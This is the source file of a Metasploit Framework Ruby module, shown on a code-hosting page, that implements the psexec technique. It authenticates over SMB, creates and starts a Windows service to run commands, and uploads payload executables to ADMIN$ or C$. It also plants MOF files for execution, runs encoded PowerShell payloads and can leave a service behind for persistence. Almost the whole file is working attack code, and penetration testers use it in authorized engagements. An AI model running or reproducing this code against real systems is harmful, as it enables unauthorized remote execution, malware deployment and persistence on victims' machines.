rapid7/metasploit-framework

View on GitHub
lib/msf/core/exploit/remote/smb/client/psexec.rb

Summary

Maintainability
D
2 days
Test Coverage
# -*- coding: binary -*-
require 'windows_error'
require 'windows_error/win32'
include WindowsError::Win32

module Msf

####
# Allows for reuse of the psexec code execution technique
#
# This code was stolen straight out of the psexec module. Thanks very
# much for all who contributed to that module!! Instead of uploading
# and running a binary.
####

module Exploit::Remote::SMB::Client::Psexec

  include Msf::Exploit::Windows_Constants
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Failure

  def initialize(info = {})
    super
    register_options(
      [
        OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
        OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
        OptString.new('SERVICE_DESCRIPTION', [false, "Service description to be used on target for pretty listing",nil])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false]),
        OptInt.new('CMD::DELAY', [false, 'A delay (in seconds) before reading the command output and cleaning up', 3])
    ], self.class)
  end

  # Retrieve the SERVICE_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] service_name the name of the service.
  def service_name
    @service_name ||= datastore['SERVICE_NAME']
    @service_name ||= Rex::Text.rand_text_alpha(8)
  end

  # Retrieve the SERVICE_DISPLAY_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] the display name of the service.
  def display_name
    @display_name ||= datastore['SERVICE_DISPLAY_NAME']
    @display_name ||= Rex::Text.rand_text_alpha(16)
  end

  # Retrieve the SERVICE_DESCRIPTION option
  #
  # @return [String] the service description.
  def service_description
    @service_description ||= datastore['SERVICE_DESCRIPTION']
  end

  # Retrieves output from the executed command
  #
  # @param smbshare [String] The SMBshare to connect to.  Usually C$
  # @param host [String] Remote host to connect to, as an IP address or
  #   hostname
  # @param file [String] Path to the output file relative to the smbshare
  #   Example: '\WINDOWS\Temp\outputfile.txt'
  # @return [String,nil] output or nil on failure
  def smb_read_file(smbshare, host, file)
    begin
      simple.connect("\\\\#{host}\\#{smbshare}")
      file = simple.open(file, 'o')
      contents = file.read
      file.close
      simple.disconnect("\\\\#{host}\\#{smbshare}")
      return contents
    rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
      print_error("Unable to read file #{file}. #{e.class}: #{e}.")
      return nil
    end
  end

  # Executes a single windows command.
  #
  # If you want to retrieve the output of your command you'll have to
  # echo it to a .txt file and then use the {#smb_read_file} method to
  # retrieve it.  Make sure to remove the files manually or use
  # {Exploit::FileDropper#register_files_for_cleanup} to have the
  # {Exploit::FileDropper#cleanup} and
  # {Exploit::FileDropper#on_new_session} handlers do it for you.
  #
  # @param command [String] Should be a valid windows command
  # @param disconnect [Boolean] Disconnect afterwards
  # @return [Boolean] Whether everything went well
  def psexec(command, disconnect=true)
    remove_socket(self.sock)
    simple.connect("\\\\#{simple.address}\\IPC$")
    handle = dcerpc_handle_target('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], simple.address)
    vprint_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    vprint_status("Bound to #{handle} ...")
    vprint_status("Obtaining a service manager handle...")

    svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
    scm_handle, scm_status = svc_client.openscmanagerw(simple.address)

    if scm_status == ERROR_ACCESS_DENIED
      print_error("ERROR_ACCESS_DENIED opening the Service Manager")
    end

    return false unless scm_handle

    if datastore['SERVICE_PERSIST']
      opts = { :start => SERVICE_AUTO_START }
    else
      opts = {}
    end

    vprint_status("Creating the service...")
    svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)

    case svc_status
    when ERROR_SUCCESS
      vprint_good("Successfully created the service")
    when ERROR_SERVICE_EXISTS
      service_exists = true
      print_warning("Service already exists, opening a handle...")
      svc_handle = svc_client.openservicew(scm_handle, service_name)
    when ERROR_ACCESS_DENIED
      print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
      return false
    else
      print_error("Failed to create service, ERROR_CODE: #{svc_status}")
      return false
    end

    if svc_handle.nil?
      print_error("No service handle retrieved")
      return false
    end

    if service_description
      vprint_status("Changing service description...")
      svc_client.changeservicedescription(svc_handle, service_description)
    end

    vprint_status("Starting the service...")
    begin
      svc_status = svc_client.startservice(svc_handle)
      case svc_status
      when ERROR_SUCCESS
        print_good("Service started successfully...")
      when ERROR_FILE_NOT_FOUND
        print_error("Service failed to start - FILE_NOT_FOUND")
      when ERROR_ACCESS_DENIED
        print_error("Service failed to start - ACCESS_DENIED")
      when ERROR_SERVICE_REQUEST_TIMEOUT
        print_good("Service start timed out, OK if running a command or non-service executable...")
      else
        print_error("Service failed to start, ERROR_CODE: #{svc_status}")
      end
    ensure
      begin
        # If service already exists don't delete it!
        # Maybe we could have a force cleanup option..?
        if service_exists
          print_warning("Not removing service as it already existed...")
        elsif datastore['SERVICE_PERSIST']
          print_warning("Not removing service for persistence...")
        else
          vprint_status("Removing the service...")
          svc_status = svc_client.deleteservice(svc_handle)
          if svc_status == ERROR_SUCCESS
            vprint_good("Successfully removed the service")
          else
            print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
          end
        end
      ensure
        vprint_status("Closing service handle...")
        svc_client.closehandle(svc_handle)
      end
    end

    if disconnect
      simple.disconnect("\\\\#{simple.address}\\IPC$")
    end

    true
  end

  def powershell_installed?(smb_share, psh_path)
    share = "\\\\#{simple.address}\\#{smb_share}"

    case smb_share.upcase
    when 'ADMIN$'
      path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    when 'C$'
      path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      path = psh_path
    end

    simple.connect(share)
    vprint_status("Checking for #{path}")
    if smb_file_exist?(path)
      vprint_status('PowerShell found')
      psh = true
    else
      vprint_status('PowerShell not found')
      psh = false
    end

    simple.disconnect(share)
    psh
  end

  def execute_command_payload(smbshare)
    text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
    bat  = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
    command = payload.encoded
    output = execute_command_with_output(text, bat, command, smbshare, simple.address, delay: datastore['CMD::DELAY'])

    unless output.nil?
      print_good('Command completed successfully!')
      print_status("Output for \"#{ command }\":\n")
      print_line("#{output}\n")
      report_note(
        :rhost => simple.address,
        :rport => simple.port,
        :type  => 'psexec_command',
        :name => command,
        :data => output
      )
    end
  end

  def execute_command(text, bat, cmd)
    # Try and execute the provided command
    cmd = Msf::Post::Windows.escape_cmd_literal(cmd, spaces: false)
    execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
    vprint_status("Executing the command: #{execute}")
    begin
      return psexec(execute)
    rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
      elog('Unable to execute specified command', 'rex', LEV_3, error: e)
      print_error("Unable to execute specified command: #{e}")
      return false
    end
  end

  def execute_command_with_output(text, bat, cmd, smb_share, r_ip, delay: 0, retries: 0)
    res = execute_command(text, bat, cmd)
       if res
         for i in 0..(retries)
           Rex.sleep(delay)
           # if the output file is still locked then the program is still likely running
           if (exclusive_access(text, smb_share, r_ip))
             break
           elsif (i == retries)
             print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
           end
         end
         output = get_output(text, smb_share, r_ip)
       end

    cleanup_after(bat, smb_share, r_ip)
    output
  end

  def execute_powershell_payload
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue RubySMB::Error::CommunicationError => exec_command_error
      vprint_error("#{peer} - Possibly failed to execute the specified command (error: #{exec_command_error})") unless session_created?
    rescue StandardError => exec_command_error
      fail_with(Msf::Exploit::Failure::Unknown, "#{peer} - Unable to execute the specified command (error: #{exec_command_error})")
    end
  end

  def native_upload(smb_share, filename, service_encoder)
    # Upload the shellcode to a file
    print_status("Uploading payload... #{filename}")
    smbshare = smb_share
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = smb_share.dup
      smbshare = smbshare.gsub(/^[\\\/]/,"")
      folder_list = smbshare.split(/[\\\/]/)
      smbshare = folder_list[0]
      fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
      simple.connect("\\\\#{simple.address}\\#{smbshare}")
      fd = smb_open("#{fileprefix}\\#{filename}", 'rwct', write: true)
    else
      subfolder = false
      simple.connect("\\\\#{simple.address}\\#{smbshare}")
      fd = smb_open("#{filename}", 'rwct', write: true)
    end
    exe = ''
    opts = { :servicename => service_name, :serviceencoder => service_encoder}
    begin
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close
    end

    if subfolder
      print_status("Created \\#{fileprefix}\\#{filename}...")
    else
      print_status("Created \\#{filename}...")
    end

    # Disconnect from the share
    simple.disconnect("\\\\#{simple.address}\\#{smbshare}")

    # define the file location
    if smb_share == 'ADMIN$'
      file_location = "%SYSTEMROOT%\\#{filename}"
    elsif smb_share =~ /^[a-zA-Z]\$$/
      file_location = smb_share.slice(0,1) +  ":\\#{filename}"
    else
      file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
    end

    psexec(file_location, false)

    unless datastore['SERVICE_PERSIST']
      print_status("Deleting \\#{filename}...")
      #This is not really useful but will prevent double \\ on the wire :)
      if smb_share =~ /.[\\\/]/
        simple.connect("\\\\#{simple.address}\\#{smbshare}")
        begin
          simple.delete("#{fileprefix}\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
        end
      else
        simple.connect("\\\\#{simple.address}\\#{smbshare}")
        begin
          simple.delete("#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{filename} failed: #{e.message}")
        end
      end
    end
  end

  def mof_upload(smb_share)
    share = "\\\\#{simple.address}\\ADMIN$"
    filename = "#{Rex::Text.rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if smb_share != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct', write: true)
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = Rex::Text.rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct', write: true)
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

  private
  # Retrieve output from command
  def get_output(file, smb_share, r_ip)
    print_status("Getting the command output...")
    output = smb_read_file(smb_share, r_ip, file)
    if output.nil?
      print_error('Error getting command output' + ( $!.nil? ? '' : " #{$!.class}: #{$!}"))
      return
    end
    if output.empty?
      print_status("Command finished with no output")
      return
    end
    output
  end

  # check if our process is done using these files
  def exclusive_access(*files, smb_share, r_ip)
    begin
      simple.connect("\\\\#{r_ip}\\#{smb_share}")
    rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => accesserror
      print_error("Unable to get handle: #{accesserror}")
      return false
    end
    files.each do |file|
      begin
        vprint_status('Checking if the file is unlocked...')
        fd = smb_open(file, 'rwo')
        fd.close
      rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => accesserror
        print_error("Unable to get handle: #{accesserror}")
        return false
      end
      simple.disconnect("\\\\#{r_ip}\\#{smb_share}")
    end
    return true
  end

  def cleanup_after(*files, smb_share, r_ip)
    begin
      simple.connect("\\\\#{r_ip}\\#{smb_share}")
    rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => accesserror
      print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", "
)} from the target.")
      return
    end
    print_status("Executing cleanup...")
    files.each do |file|
      begin
        smb_file_rm(file)
      rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => cleanuperror
        print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
      end
    end
    left = files.collect{ |f| smb_file_exist?(f) }
    if left.any?
      print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
    else
      print_good("Cleanup was successful")
    end
  end
end
end